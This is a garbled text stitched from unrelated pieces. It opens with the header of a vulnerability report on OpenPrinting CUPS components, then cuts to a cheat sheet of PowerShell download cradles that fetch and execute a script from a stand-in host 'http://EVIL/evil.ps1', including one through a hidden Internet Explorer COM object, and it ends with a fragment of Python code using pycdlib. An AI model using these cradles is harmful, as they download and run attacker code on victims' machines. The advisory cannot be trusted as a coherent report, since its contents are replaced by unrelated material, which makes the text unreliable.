Christopher CalfCrusher

Original report

Affected Vendor: OpenPrinting
Affected Product: Several components of the CUPS printing system: cups-browsed, libppd, libcupsfilters and cups-filters.
Affected Version: All versions <= 2.0.1 (latest release) and master.
Significant ICS/OT impact? no
Reporter: Simone Margaritelli [[email protected]]
Vendor contacted? yes The vendor has been notified trough Github Advisories and all bugs have been confirmed:

list of contents

	# normal download cradle
	IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

	# PowerShell 3.0+
	IEX (iwr 'http://EVIL/evil.ps1')

	# hidden IE com object
	$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

	# Msxml2.XMLHTTP COM object

	# pip install pycdlib

	try:
	from cStringIO import StringIO as BytesIO
	except ImportError:
	from io import BytesIO

	import pycdlib

	iso = pycdlib.PyCdlib()